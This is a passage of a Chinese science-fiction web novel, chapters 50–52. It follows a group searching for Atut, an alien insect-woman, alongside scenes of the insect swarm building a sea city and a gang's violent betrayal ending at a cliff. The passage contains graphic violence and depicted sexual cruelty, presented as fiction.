她笑了笑。
“你那里,能不能在十分钟内派一个擅长跟踪的司机来?”
……
“这是什么?”
凌风睁大了眼睛,难以置信地看着眼前的一切,简直有种呕吐的冲动。
“你们带我来看的这是什么?!”
他身后的帮派们看了看彼此,脸上都露出心照不宣的笑容。
在这个毛头小子冒冒失失地来到这里,宣称自己是他们新的老大开始,他们早就想给他一点颜色看看了。
他不是想让他们去送死,找那个什么阿图特吗,行啊,那就给他看阿图特。
这里是废弃机场的航站楼内部,即使凌风多次要求帮派带他出去找他们口中那个“辐射变异后会飞来飞去的食人鬼”,但是多天过去,帮派还是各种胡搅蛮缠,硬是拖在航站楼内不肯出去。
这次也是一样。
一只骨瘦如柴的猴子,身上穿着女人的衣物,蜷缩在笼子阴暗的一角,看见凌风和其他男人来了,就战战兢兢地爬出来,习惯性地俯下身子,跪在满是烟蒂和泥尘的地上,翘起屁股。
视线里的一切变得模糊起来,凌风气得浑身发抖,他不忍再看,转过身子,怒吼道:“这就是阿图特?!”
“是啊,”队伍里,一个头发油得打结的瘦干个儿嘻嘻哈哈地搭上话来,“给你找的,满意吗?”
男人们一齐哈哈大笑起来。
笑声中,各种调笑的声音此起彼伏地穿插着。
“嘬嘬嘬,阿图特,就这样敞开大门迎接你哥哥啊?”
“阿图特,这个姿势你哥哥教得好啊,舒不舒服啊?”
……
瞪着眼前这群嘻嘻哈哈的男人,凌风几乎要目眦欲裂,因为极度愤怒而绷紧的手腕上青筋暴起,颤抖着,慢慢移动到腰间。
那里有一把枪。
他能做到一个人,打死眼前的数二十个人吗?
他做不到。
他的四肢抖动得有多厉害,他就越清醒地知道,他做不到。
他只是个二十出头的学生,从小到大连只鸡也没杀过,就连课上做实验的时候,也只是在嘻嘻哈哈的男同学中间强作无所谓的样子,胆战心惊地剖开实验用兔子的皮肉。
凌风喘着气,眼中流出屈辱的泪水,他愤然地转过身,将那只猴子抱在怀中,队伍里的人立刻慌了神,三三两两地围上来。
“哎哎哎,干什么你!”
“你带走了,哥几个这日子接下来怎么过?”
用力撞开四面八方过来拉扯的手,凌风将猴子抱在怀中,奋力喊道:“它病得很严重,需要得到专业的治疗!”
如果能够顺利带走这只猴子,他在这群人这里失去的尊严和脸面,也能换回来一点。
至少,输得不是那么彻底。
在混乱的抢夺中,猴子不断发出凄厉的尖叫声,唾沫星子和辱骂一齐扑上面门,身体各处都受到了不知谁人的拳打脚踢,凌风咬着牙,用尽力气挥下一记肘击,人群中发出一声痛苦的怒骂,他趁乱挣脱人群,向航站楼外跑去。
一双腿是跑不过几十双的,一群人你
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争我抢,凌风好不容易奔出航站楼外,就被一声声“都是兄弟”、“不至于”、“玩笑也要有个度”按倒在地上。
怀中一松,猴子被几只手捞过去,凌风的脸贴在地上,用力挣扎几下,动弹不得。
他闻到一丝潮湿垃圾和泥腥味混合的味道。
他吐了。
受惊的人群纷纷散开,看清地上男学生狼狈的模样,又松络地说笑起来。
一个络腮胡的胖男人两个鼻孔喷着酒气,吭哧吭哧地笑道:“年轻人就是眼界浅,女人嘛——”
话没说完,下一秒,他崩裂的身体散落作几块,掀起地上肮脏的泥水。
股股血液流淌出来,在地上张牙舞爪地蔓延。
人群爆发出惊恐的尖叫声,慌乱地四处逃窜,队伍外围的人不知情,一下子被狠狠撞倒在地上,几个见过这番景象的人反应最快,强作镇定掏出手枪,然后转身往航站楼内狂奔去。
在慌乱的人群中,凌风也惊恐地坐起身,盯着旁边那具四五分裂的尸体,四肢一下子发软,他哆哆嗦嗦地站起身来。
发生了什么?
是她来了吗?
耳边传来一声铮的微响,极度的恐惧使他本能地僵直身体,一瞬间,一个黑影闪过他身后,一声惨叫随之传来,空气中传来甜蜜粘稠的血腥味。
全身的血液似乎凝固了,狂跳的心脏仿佛要挣开胸膛一般,一种强烈的力量迫使他去渴望迫在眉睫的答案,鼓足心中的勇气,他僵硬地转过头。
阿图特盯住男人的眼睛,掐住男人的喉咙,一点一点地向上举。
男人的双脚离地,全身的骨头都在响动,开始夸张地挣扎起来,因为脖颈动脉的断供,他的大脑很快缺氧,血和各种各样的液体都从七窍流出,他神志不清地哭叫起来。
阿图特微微皱眉,松开手,猛地大力横斩肘镰,男人的身体拦腰截断,狠狠摔落在地上。
三十秒左右,地上的两半男人张着眼睛,不动了,结束了他罪恶的一生。
“阿图特?”
身后传来熟悉的声音,阿图特转过身,看见那个昔日干净阳光的朋友,现在面目憔悴,整个人灰扑扑的,眼睛里有着血丝。
这一路上,她见过了更多的男人,在人类这样的社会文化中,他也会是一丘之貉吗?
在看清牢笼外欣喜若狂的脸的那一刻,在看清黑环拍卖场里无数张兴奋赞叹的脸的那一刻,在看清车窗外嫌恶的脸的那一刻……
她做出了无数次决定。
原来,人类和她之间的仇恨,一直都在。
雨渐渐下起来,潮湿的泥腥味弥漫在雨中。
凌风颤抖着声音,看见自己心心念念的,终于实实在在地出现在自己面前,胸中忍不住有些哽咽。
“阿图特,是我啊,凌风!”
他跌跌撞撞地走上前去,试图拉住对方的手,然而眼神交汇的那一刻,那双似若宇宙万千星彩流转的眼眸垂下眼睫,转向一旁,独自离去。
她是来找食物的,在这里抢到的肉类存储已经吃得差不多了,这帮肮脏的男人她又下不去口。
该去别的地方找吃的了。
数次的呐喊没有回应,直到阿图特的身影离去了很久,彻底消失在视线中,凌风才回过神来,此时雨水与泪水交织在一起,滑落湿润的脸颊。
为什么?
他找了她近一个月,散尽家财,就为了她当初的一个愿望,几乎要用尽所有力气,累死在这里。
难道还不够吗?
胳膊突然被小心翼翼地触碰,他缓缓转过头,无神的双眼里,出现一个卑躬屈膝的男人,讨好地点燃一根烟,递到他面前。
“兄弟有这样的能耐,好样的,以后哥几个都听大哥的。”
“都听大哥的!”
“这个女的不得了哦,要好好调教一番……”
男人身后,还幸存的男人们看见刚才凌风不费吹灰之力,就赶走食人鬼的景象,都纷纷心生仰慕之情,簇拥上前,捧起凌风来。
就算是凌风这点面子,那个食人鬼说不定也会放他们一马。
凌风看着这群人的模样,仿佛一幕幕泛黄的老电影在眼前呼啸而过,那些刻板的戏剧化的脸谱一一对上,在眼前以八倍速加速播放。
咿咿呀呀的台词间,此时此刻,自己终于成为了配角们簇拥的主角。
“没事,小问题。”
他接过烟了。
50.将往北海,寻觅她影
周日,是最新的一轮小组集合会议。
陈立新准时在六点半起床,洗漱完毕后,就接收到了屠一鸿发过来的地址。
她们每次集合的地址都不一样,或许是因为屠一鸿行踪不定的缘故。
虽然陈立新觉得这些天的相处下来,她们已经算是很熟了,但很多时候,她心中还是隐隐约约地觉得,屠一鸿似乎对她们有所保留。
陈立新看着屏幕上发过来的地址,情不自禁地轻叹一口气。
朋友之间可以坦诚一些呀,屠一鸿小姐。
吃过专人送来的早饭后,陈立新收拾好东西,又马不停蹄地跑到街上,拦了辆出租车,将地址报给司机。
“你好,麻烦去这个地方!”
司机瞥了一眼手机上的地址,眼中闪过一丝受宠若惊,连连摇头。
“这次不收费了,上来吧。”
“好吧,谢谢啦!”
坐在后座上,陈立新深吸一口气,默默做好参加今天会议的心理准备。
前几天跟踪袁立探查到的情报,她已经迫不及待要和屠一鸿和凌风分享了。
这次的地址,是她第一次去过的萧家宅邸。
约十分钟左右,车窗外就远远望见了萧家的宅邸,大门外几个佣人早已等候多时,屠一鸿告诉过她们,今早有客人要来。
车停在大门口外,司机打开门,身子挺得板正,赫然一副高级专程司机的模样,恭恭敬敬地为陈立新打开后座车门。
佣人们都迎上来。
“欢迎,陈小姐,这边请。”
“你们好!”
被簇拥着进入萧家宅邸,进入大厅,西装笔挺的管家迎上来,优雅地挽过她的手,道了一声早安。
虽然脸上作出微笑的样子,陈立新却敏锐地注意到,管家第一眼下意识地看往她身后,看见没有男伴,这才迎上来亲自问候她。
萧家的客人,看来有权有势的女人不多呀。
在佣人的引导下,她终于踏进心心念念的会客厅,见到屠一鸿的那一刹那,陈立新身心彻底放松下来,一屁股坐在沙发上,又用了个舒舒服服的姿势躺下,像是在自己家里一样。
屠一鸿放下盛放方糖的杯子,一声清脆的叮当声,佣人默默关门离开。
陈立新四处环顾一周,“凌风还没到吗?”
“应该快了。”
陈立新点了点头。
“那我们现在先聊聊别的吧。”
陈立新认真地注视着屠一鸿低垂的眼睫,在屋内昏黄光线照射下,投下两片纤薄的阴翳,如蝶翼般微微颤动。
对方似乎心情不佳,从她进来开始,就一直在轻轻搅动杯中茶匙。
这些天里,她那边发生什么事了吗?
陈立新缓缓开口:“你最近——”
然而下一秒,门被轻轻叩响几声,凌风就被佣人带着进来了。
看着屋内二人的脸,凌风脸上莫名其妙浮现一个尴尬的笑容。
门再一次被轻轻关上,三人会面,这一周以来,各有情报交代。
门被关上的那一刹那,陈立新面色倏地变得认真起来。
“早上好,都吃过饭了吧?”
屠一鸿点了点头。
凌风摇了摇头。
陈立新看向凌风的眼睛,皮笑肉不笑地笑了笑。
“那等会,你中午记得多吃点。”
“……”
“好了,就从我先开始,说说这几天最新的情报吧?”
屠一鸿点了点头。
凌风点了点头。
“首先,在两天前,我在夜晚出去与朋友聚会时,意外发现了袁立被北海特遣部队保护,现身KTV。”
屠一鸿的动作顿了顿。
凌风不解地问道:“这和我们要找阿图特有关系吗?”
“当然有,实际上,你不怀疑在北海买阿图特的人就是袁立吗?能在黑环买下阿图特的人能有几个?有这种财力,会对阿图特感兴趣,还刚好在北海,这三个条件,现在就只有袁立符合了吧!”
凌风刚想再辩驳些什么,陈立新却再一次强行继续话头:“而且,在那天晚上,我找屠一鸿借了人手后,顺利地跟踪到了袁立的动向!”
屠一鸿突然转过头来,“为什么说,袁立会对阿图特感兴趣?”
陈立新顿时哽住了。
凌风尴尬地转过头去。
屠一鸿看了看二人,轻轻叹了口气。
“朋友之前,要更坦诚一点啊。”
……什么啊,这句话应该是我对你说吧!
陈立新心中默默憋了口气。
想到反正以后双方的合作还会更多,她索性一下子做了决定,干脆现在就交代阿图特的事情好了。
“因为,阿图特是来自阿努特纳星的雌虫,也是AGPC目前记录在逃的杀人纵火犯。”
听到这话,凌风瞳孔瞬间放大,猛地站起身来,“喂,陈立新——!”
“好了好了,反正大家都是一条船上的朋友嘛。”
屠一鸿认真地注视着陈立新的眼睛,那眼神纯洁极了,叫人丝毫不忍心欺骗。
“原来是这样,你不说,我简直完全猜不出来。”
“对不起,因为这个是内部机密,不好对外人多说……”
“没事的,我能理解。”
屠一鸿向陈立新送上一个善解人意的微笑。
“然后呢?袁立那天晚上去哪里了?”
“然后,我发现,袁立醉酒后,先是被北海特遣部队送去了北海商业区的一家高级酒店。”
“我和司机在外面苦苦等了一晚上,在凌晨的时候,看见一个女人走进酒店,五分钟后,袁立就被那个女人带出酒店,上了另一辆车!”
听到这里,凌风点了点头,屠一鸿突然插嘴,问道:“那个女人长什么样子?”
“天太黑,没看太清,大概是长很高,不胖不瘦,头发到腰间,穿着黑色皮大衣,走路很快。”
屠一鸿不说话了。
陈立新接着讲:“我赶紧叫醒司机,跟上他们,没想到,他们居然一路开出了商业区,上了高速公路。”
“我和司机跟在他们后面,也上了高速公路,起先还有车辆和我们一起向前,但临近天亮的时候,车辆就越来越少,渐渐的,只有我们和袁立他们向前行驶,看着附近的区域越来越人烟稀少,我担心这样子下去会暴露,就让司机在附近的分路口离开了。”
“下了高速公路后,我看了看地图,发现袁立他们行驶的方向是北海边界的海域,而那里,就是——”
陈立新深吸一口气。
“北海战前遭受辐射污染最严重的区域,是战前各国发射武器的乱葬岗。”
“并且,那个方向,笔直地经过我们之前发现的废弃机场,也就是阿图特当初被送往,然后意外停滞的坐标!”
陈立新讲得口干舌燥,喝了杯水,凌风缓缓靠在沙发靠枕上,这一番话,让他彻底被陈立新说服了。
袁立本来就是联合城邦里众所周知的科技狂人,也正是因为他在科学尖端领域的显著贡献,才使得他成为AGPC十二主席之一。
阿图特,说不定真的是被袁立买做了某种不可知的实验对象。
“好了,我说完了,接下来你们谁汇报情报?”
凌风缓缓举起手,“我来。”
“那你说吧。”
“前三天,阿图特在废弃机场出现了。”
陈立新动作一顿,屏住呼吸。
“然后呢?”
“她杀了几个人,然后就走了。”凌风自嘲般苦笑几声,“我也不知道为什么。”
“她没跟你说句话吗?我记得你们明明很熟的。”
“没有,或许一切只是我一厢情愿吧。”
陈立新仿佛看出些什么,她也不好再戳凌风的心窝子,只好想着问些仅仅有关阿图特的事情。
“她看起来还好吗?她往哪个方向走了?”
“挺好的,她看起来很敏捷,至于哪个方向……好像
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是北方的森林。”
陈立新了然地点了点头,“那就是去了北海边界的海域,她多半去了和袁立他们所去一样的方向,穿过那片森林就到了。”
突然,她的动作僵住了,脸上的笑容垮下来。
“……”
“……”
会客厅里氛围一下子降到了冰点,三人都慢慢抬起头来,看着彼此的脸。
陈立新干巴巴地张开嘴。
“不好,现在怎么办?”
“她居然跑那边去了啊!”
凌风猛地站起身,在会客厅里焦躁不安地走来走去。
“我们应该早点开这个会的,那都是三天前的事情了!”
陈立新有些沮丧地低下了头,突然,身边的人站了起来,将茶杯啪一声重重放在桌上。
清脆的声音打破了紧张不安的局面,其余二人都看向屠一鸿。
“事不宜迟,我们现在就出发吧。”
屠一鸿平静地望着屋中二人。
“你们两个立刻收拾好东西,我派人送你们去废弃机场,你们带那里的人去海域附近寻找阿图特。”
“我留在这里,去找萧衍,在他身边打听好北海特遣部队的调动路线。”
“如果你们出了事,一定要立即发消息给我,我将以朋友遇难的由头第一时间向他求助。”
她看向陈立新,那眼神中充满信任和期盼。
接触到屠一鸿的眼神,陈立新心中突然顿时有了底气。
这才是朋友之间正确的相处方式嘛。
她与凌风对视一眼,双双点了点头。
“好!”
……
夜幕降临,在跟帮派里的人嘱咐好注意事项后,陈立新发放了更先进的枪械,又让凌风准备集结人手,在北边区域的停机坪集合。
“十五分钟后,必须集合完毕。”
凌风冷冷地说完话,关上门,留下屋里的人面面相觑。
空前紧张严肃的氛围,使得这群男人意识到,这一次,他们是真的要为屠一鸿那个小姑娘做事了。
“***,那小妞儿都干的什么活路,老子还以为可以靠着北海第一**的面儿混吃等死呢!”
屋内的人都大笑起来,集体性的侮辱女人,总是让他们感到情绪放松,又自信满满。
笑着笑着,他们又恨得牙痒痒起来。
“那小妞儿多久没过来了?躲在两个同伙背后不出来,这样子也没办法绑了人威胁萧衍啊。”
“一天天的尽是麻烦事儿……”
“人生处处是坎坷啊。”
气氛渐渐凝重起来,每个人想想自己的命运,都感到一种无助的恐惧,笑声也一点点低沉下去。
在墙上时钟显示还有五分钟的时候,一个络腮胡突然站起身,用那种格外愤怒的眼神环视了一圈众人。
他怒吼道:“***,北海老爷们的命是命,我们的命就不是命吗!?”
“赵大哥才死了几天?咱们就这么心甘情愿地为几个乳臭未干的小屁孩送死?”
“对得起赵大哥吗!”
“咱们这个一个个儿的,哪个不是身经百战的江湖豪杰?哪个不是铁骨铮铮的汉子!”
有了这个开头,几乎所有人都骂起来,情绪逐渐激烈起来的人群中,一个瘦干个儿沉重地叹了口气。
“我当年,也是行走无人区四方的通天眼啊。”
“想不到如今,要把命吊在三个上邦人手里。”
从被迫附属后生的耻辱,到报答旧日老大的恩义,再到打倒上邦人上人的阶级压迫,所有人的情绪此时此刻都到达了空前的高潮。
他们愤怒地砸碎了屋中的一切,此时,越是行为暴戾极端的,越是拥有着崇高道德光辉的人权主义斗士。
一番骚动后,在墙上时钟显示还有两分钟的时刻,所有人都做出了一致的决定。
他们喘着粗气,彼此心照不宣地点点头。
今天晚上,就要让那两个上邦人看看,他们的厉害。
51.我们望向天堂
寒潮正在退去,越是接近南边的地方,越是趋近温暖。
埃勒伽什海平面的浮冰开始慢慢涌动,碎裂的冰层和阵阵汹涌的波涛起起伏伏,波光粼粼,闪闪发光。
大颚们以前偶尔还成群结伴,三三两两地去上面溜冰玩,现在就少了很多这种机会。
这片土地上的生灵正在复苏,一切都开始忙碌起来。
祝吟辰也一样。
安提沉入海洋地底已经有七个夜潮了,伊南娜也不甚了解安提的情况,只是笃定地认定,并且告诉祝吟辰,安提在下面繁衍生息,安然无恙。
祝吟辰有一次干活累了,就跑到埃勒伽遗留的巨大骸骨上,站在上面,轻轻抚摸着那手感温润的白骨,望向地平线远处缓缓升起的一线天光,心中就会感到一丝安慰。
安提独自在下面,能共鸣到她的担忧和思念吗?
一定要平平安安啊。
对于伊南娜统领的大颚们,和祝吟辰自己来说,现在最紧要的任务是赶在恩基苏醒找她们算账之前,将埃勒伽什建造起来。
在伊南娜的构想里,埃勒伽什是一个庞大辽阔的海上珊瑚群。
以埃勒伽留下的“海中珍珠”为中心,大颚和拉姆们将潜入海洋,以泥土、礁石和海底史前不明生物的巨大骸骨为原料,在海上海中海下逐步搭建起四通八达、纵横交错的“珊瑚城邦”。
祝吟辰听到这样的想法后,一度非常赞同伊南娜这样的构想法,但在进一步谨慎地思考过后,又加入了自己的建议。
第一,在施工过程中,务必要注意留下给海洋中其她生物足够的生存活动空间。
第二,以目前虫群的分工机构为蓝本,利用好埃勒伽什海上海中海下的三层结构,类比规划好埃勒伽什的分工区域,如与菌群对标的菌落供应基地、阿努休息区等等。
第三,在埃勒伽什外建立向内沟通、向外扩张的机构,以便未来和恩基及其她阿努萨带领的阿努对抗。
……
“聪慧的伊塔,事事都要操心。”
伊南娜躺在礁石上,打了个哈欠。
“我不想听这些麻烦事,去找拉姆说吧。”
祝吟辰看着伊南娜就这样翻了个身,舒舒服服地睡起午觉来
“……”
她一定要去找拉姆减少留给伊南娜的用地份额!
憋着心中一股气,祝吟辰还是去向远处的森林走去。
现在埃勒伽什还在初步施工阶段,木头和泥土是建材的大部头,大部分的拉姆都聚集在周边的森林里,连夜忙个不停。
走着走着,就看见来来往往的虫们,三三两两地一伙,将各种建材搬来搬去。
她随手拉住一个拉姆,仔仔细细地交代了自己的建议,拉姆认认真真地听着,将这些都了然胸中。
然后,张开双臂,紧紧拥抱了祝吟辰一下后,健步跑开。
这就是阿努的问候礼仪,不是亲吻面颊,就是抱抱,一般来说,因为阿努之间体型的差距,后者要用得多一些。
但祝吟辰还是更习惯做人类,她有些尴尬地笑了笑,也不挣扎,只任拉姆拥抱完自己后,目送对方远去。
拉姆就好在这里,因为每个她们这样的阿努都是潜在的阿努萨“拉姆”,所以她们的认知是共通的,就像一张公共开放的意识网络。
一旦将某种消息告知其中任意一个,她就可以将所有拉姆完全通知到位,不必再一个个细细说明。
这就是虫群意识的其中一种体现吧。
真好。
事情做得差不多了,祝吟辰无聊赖地四处走了走,看着拉姆们四处奔走的健壮身影,心中渐生出几分感慨。
大颚们负责监管安全场地,拉姆们搬着建材跑来跑去,小虫们没有要做的事,就在林间随心所欲地飞来飞去,时不时停在树梢,或是某只阿努的头上,用好奇的眼神看她们在做什么。
多么淳朴的公共劳动景象啊。
在蓝星,还用天然体力谋生的人是自卑的、边缘的。
也是无助的。
祝吟辰想起自己曾经看过的一本小说,里面写了一个战前农村老女人的故事。
老女人和其他许许多多的老女人,是乡下干活的主力,她们的丈夫有的时候也干活,干完了活,就等着她们回家干活,然后干她们。
许许多多的孩子就这样生下来了,于是她们有了更多的、干不完的活,地里的秧苗,家里的饭菜,孩子的啼哭,邻里的纠纷,公婆的试探,和丈夫的生理需要,每一桩桩都要做好。
故事的结局,是老女人的小儿子考上了大学,土地也荒芜了。
书的结尾,作者表示,自己就是那个老女人的小儿子,他写这本书出来,歌颂母亲,歌颂土地。
祝吟辰看那本书的时候哭了,看着眼前的这一切,她突然也有点想哭。
只不过前者是悲伤的,后者是喜悦的。
如果老女人生在这里,她会不会活得更好一些?
用建材去建造的地方,她可以在里面舒舒服服地住着,食物有菌群送过来,安保有大颚们罩着,彼此接应的时候,她们相视一笑,紧紧相拥,都为对方的劳动骄傲。
真好啊……
“你还好吗,伊塔?”
一个小心翼翼的声音突然打断了祝吟辰的思绪,她回过神来,察觉眼角已经有些湿润,连忙擦了擦眼睛,故作镇定地看向来者。
是一个不认识的拉姆,尽管拉姆的眼睛是一条机甲风十足的横向明亮线条,但她还是从其中看出对方关切自己的情绪。
而且,对方的身体好像有哪里不太对劲……
“我没事,倒是你……”
祝吟辰上下打量了一下拉姆,担忧地问道:“怎么了吗?”
拉姆的身体似乎有些残疾,身子一高一低,左腿看起来瘸得厉害,膝盖古怪地向后弯着,脚踝则向外撇了几分,与右足并不对称。
拉姆顺着她的视线,看向自己的身体,释然地笑了笑。
“我曾经在森林被伽拉瑟亚袭击,一棵树倒了下来,伽拉瑟亚因此死去,我断了一条腿,侥幸活命。”
“伊南娜阿努萨让我留在这里,干一些轻活,未来也可以去空居酿酒。”
看着拉姆的眼神,祝吟辰一时间竟不知道该作何反应,偏偏对方看起来那样淡然轻松,她也不应去作多余的怜悯。
于是她握住拉姆的手,诚恳地说道:“勤劳的建造者,埃勒伽什也为你自豪。”
拉姆张开双手,将她抱入怀中。
“为了阿努的荣耀!”
抱住拉姆,祝吟辰脸上浮起一个微笑。
远处,一个拉姆跑过来,对着她们远远喊道:“西边发现洞穴,内部不明物件需要处理!”
祝吟辰立马意识到远处的拉姆是在喊自己怀里的这个拉姆,心中对残疾者的保护欲本能地被激起,一时冲动,回喊到:“我跟你们一起去!”
……
这是一处陌生的洞穴,藏在潮湿阴暗树林的深处,地面的草木足有齐膝深,融化的雪水将地面变得如沼泽一般,每一步踩下去都异常艰难。
洞口有茂密灌木丛遮挡,且极其狭隘,仅勉强供一个阿努进入,如果不是专业的拉姆,肯定不会被发现。
好不容易跟着拉姆们找到洞穴,祝吟辰扶着洞口喘了口气,交替抬起左右足,用肘镰刮去足底的泥巴。
弄得差不多了,她就跟着拉姆们走进洞穴中。
出乎她的意
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料,这个洞穴虽然直径窄小,却极其的长,行至中段,她们停下了。
前方,左边,右边,各自通往三个不同的洞口。
带头的拉姆低下头,思考了一下,回头说道:“我们一共有六个阿努,前边去三个,左边去两个,右边伊塔去。”
站在队伍末尾的祝吟辰探出头来,“为什么右边就我一个?”
“右边我们没去过,你负责承担可能的威胁。”
“……好吧。”
所有拉姆依次进入安排的通道,祝吟辰也乖乖走进了右边通道。
很黑,什么都看不见。
岩壁覆着未知的青苔,脚底传来湿滑的触感,祝吟辰小心翼翼地扶着岩壁,慢慢地向前走。
直到她转过一个拐角,望见通道尽头那端,远远亮起一点突兀的光,一闪一闪。
那是什么东西?
祝吟辰一边往前走,一边默默在心底思考,那或许是一种会发光的生物。
随着距离一点点接近,她逐渐看出了什么……不对劲的地方。
光源亮起的地方始终不曾改变,且极具规律,每五秒钟亮起一次。
难道是某种会发光的植物吗?
一种微妙的不安逐渐升起,悬在心头,祝吟辰加快了步伐,咬着牙向光源靠近。
那究竟是什么?
随着视野的逐渐清晰,光源旁边的东西也一点点呈现了它们的样貌。
看清它们的那一刻,祝吟辰猛地睁大眼睛,停住了脚步。
她做梦都没想到,原来是那个地方。
光源原来来自于一个小型探照灯,上面标着熟悉的编号001,几件带血的人类衣物,还有一些破破烂烂的枪械部件,被随意地扔在附近,祝吟辰看出来,那是星际特工局同事们的工作装备。
至于001,是AGPC派去阿努特纳星的第一支探测小队的编号。
她的身体颤抖起来,这是她第二次直面阿努和人类之间带血的纷争。
第一次,是亲眼目睹阿图特烧毁了总部大楼。
她深呼吸一口气,鼓起勇气,走到衣物边上,轻轻蹲下,伸出手指,去翻找辨识其中的东西。
这一件衣物,是刘洋的,他走之前跟她打过招呼,是个挺活泼的人。
这一件衣物,是赵云龙的,他跟她并不相熟,下班的时候倒是常常遇见他。
这支枪她记得,章丘楠对它视若珍宝,她也是局里数一数二的枪手。
……
模糊的记忆一点点变得清晰,带起旧日余温的残影,在这样黑暗阴森的环境下,祝吟辰心中非但没有感到悲伤,反而感到一丝安慰和温暖。
或许,她是被阿努的生死观感染了吧。
愿他们安息。
翻着翻着,所有东西都分类得差不多了,等一会带着它们出去,就找个安静的地方安葬吧。
除了衣物、武器和探测装备外,还有一些残缺不全的文件资料,被压在最底下,沾了泥水和血迹,明明灭灭的灯光下,看得艰难。
她眯着眼睛,把探照灯举到最眼前,仔仔细细地盯着文件看。
前三页是熟悉的记录,大致是关于阿努特纳斯计划的前置流程和任务说明。
这一页也是。
这一页也是。
这一页看不清了。
……
这一页,没见过。
从这一页开始,除了完全损毁的部分,后面残存的资料都闻所未闻。
祝吟辰皱起眉头,随着阅读的逐渐深入,拿着文件的指尖越来越用力。
什么叫……完美人类?
在文件的上方,项目名称上面赫然写着四个字——
零启计划。
52.北途叛乱出,她既失自由
北海边境,森林中。
漆黑的夜里,风声猎猎,横跨过无人区的森林,月光照落斑驳树影间,急促的阵阵脚步声响起,两个黑色身影飞速穿梭在林间。
二人都装备精良,脸上写满紧张和焦虑,其中一人身穿黑色斗篷,步伐矫健,时不时回头张望,眼中闪着警惕的光。
另一人则紧随其后,手持一把匕首,呼吸急促而沉重,月光照亮他额上骇人的的伤口,血液一路流淌,渗进脖颈处的衣领。
森林的另一端,她们身后,追兵的脚步声越来越近,时不时传来几声枪声。
听到身后人的脚步声越来越沉重,陈立新急切地回过头,猛一把抓住凌风的手,吼道:“你快点啊,你——”
她愣住了。
凌风的脸看起来苍白得吓人,唯有他头上的伤口在月光下一抹鲜艳的红,触目惊心。
“你,你……”
她死死拉住凌风的手,还不忘加快脚步向前狂奔。
“你什么时候受伤的啊!”
迎着寒风跑在最前头,其实看不到凌风的反应,她的脸已经被吹得僵硬麻木,忍不住有些哽咽。
一路逃亡,连地图也来不及看,她根本不知道这是哪里。
这下她们都完蛋了。
黎明将起之时,奔波了一夜的体力终究支持不住,二人气喘吁吁地停在森林边界,陈立新跌跌撞撞地撒手的那一刻,凌风更是直接一头栽倒在地上。
陈立新疲惫地慢慢半跪在地上,因为缺氧变得火辣辣的喉咙破风箱一样哮喘着,鼻尖拂过一丝海风的腥味儿。
她强打起精神回过头,望见路的尽头,是一抹苍白的天空。
这里是海边的悬崖,下面就是北海海域。
追兵们很快就追了上来,从森林里露出面容 ,络腮胡、瘦干个儿、矮胖墩……都是熟面孔。
看着眼前的二人已经是穷途末路,为首的络腮胡狞笑着上前,一脚踹在凌风肚子上。
“你臭小子不是很得意吗,敢对老子的兄弟们指指点点,啊?”
说完,又狠狠补上一脚,其他人也纷纷围过来,雨点般的拳头猛击上来。
人群之中,凌风发出一声声痛苦的呜咽,身体弓成虾型,全身已经是冷汗淋漓。
经过一夜的逃亡,此时此刻,他已经连抬起一只手指的力气都没有了。
陈立新也同样已经疲惫到了极点,她只能眼睁睁地看着凌风受辱,身体半跪在地上,眼前已经出现了晃晃重影。
难道就要在这里等死吗?
可恶……
看着一瘦干个儿邪笑着掏出枪支,一把捅进凌风口中,做出羞辱的样子,她突然想起腰间还藏有一把□□G17手枪,里面装有17发子弹。
眼前的追兵一共九人。
如果放手一搏,说不定她们还有机会。
感到体力开始渐渐恢复,陈立新摇摇晃晃地站起身,突然冲人群包围那边喊了一声。
所有人的注意力都被吸引过去,他们才想起来这里还有个这毛头小子的女伴。
方才对她的老大的毒打,估计已经起到了震慑的作用,现在,就看这小妮儿要用什么方式求他们放她一马了。
为首的络腮胡得意洋洋地站出来,微眯起眼睛上下打量起陈立新。
陈立新强定住心神,举起双手,慢慢向被他们包围的凌风走去。
每走过一个男人,他们就慢慢围上来,鼻子在她身后经过的空气里嗅来嗅去,布满血丝的眼睛死死地盯住她的背影。
他们每个人在想的东西都不太一样,但又通往一致的方向。
那就是暴虐和罪恶。
空气中弥漫着危险的气息,陈立新举着双手,慢慢走到凌风身边,缓缓蹲下,试探他的鼻息。
他的脸上遍布血痕,但他还活着。
努力一把,说不定她们两个都能活。
围观的男人们看着凌风的模样,都不屑地呲笑起来。
陈立新缓缓站起身,视线对上周围的男人们,做出服从的样子,双手摸向腰间,开始脱衣服。
脱去第一件军用外袍,人群渐渐变得安静。
脱去第二件保暖卫衣,人群里开始发出吞咽口水的声音。
脱去第三件防弹马甲……没有脱去,陈立新盯住男人们虎视眈眈的眼神,在所有人精神高度集中的一刹那,以迅雷不及掩耳之势掏出腰间手枪,抬手就是几枪!
络腮胡和其他几个人胸前和面目爆出几簇血花,几乎是立刻就没了命。
一瞬间,如同石块在水塘中激起层层浪花,人群包围中心爆发出尖叫声,男人们本能地慌慌张张地四散而逃。
几个人急忙去掏背后和腰间的枪,却因为手抖得厉害,一时间竟掏不出来。
陈立新抓住机会,一把捞起凌风,搭住对方的臂膀,向悬崖那端狂奔去。
部分男人已经反应过来,嘴里咒骂着二人的祖祖辈辈,愤怒举着枪跟上来。
“好了,没路了!”
陈立新猛地刹住脚,几百米高的悬崖就在她的脚尖不到一尺的距离,下面就是波涛汹涌的北海,阵阵巨浪猛拍在礁石上,激起百丈高的浪花。
她看得心惊,回过头,看到追兵离她们只有百米不到的距离,那狰狞凶恶的面目远远告诉她,在他们那里,她们已经彻底没了活路。
她看一眼腰间的枪,额上流下冷汗来,内心却是无比的镇定。
她陈立新这一生,从未对不起任何人,包括她自己。
这次也一样。
原本以为二人刚才只是垂死之际的挣扎,但耳边呼啸而过的几发子弹告诉他们,陈立新的骨头远比他们以为的硬得多。
死去的兄弟又多了几个,剩下的男人们以一种悲壮的姿态,流着热泪登上最后的悬崖。
冲着已经射完最后一发子弹的女孩,和她身后极度疲惫的男孩,追兵们声嘶力竭地怒吼着举起枪,向前冲锋!
“为了兄弟!”
在生死关头的最后一线,陈立新用尽最后的力气,护住身后的凌风,将他猛地推下悬崖。
如果落入海中,说不定还有一线生机。
但在这里,只有死路一条。
她愿用□□做的防弹甲,换哪怕一个人的存活。
看着凌风掉落下去的身影,那双眼睛里一闪而过的惊愕和悲伤,陈立新决然地转过身,独自面对这最后的残局。
迎面而来的子弹穿过胸膛,钻心的疼痛几乎要将身体贯穿,意识一点点混沉下去。
她半跪在地,头破血流,身上破了几个窟窿,昏沉沉的眼前已经被血色蒙蔽。
枪声停歇了,沉重的脚步声慢慢走上前,头顶响起保险拉动的声音。
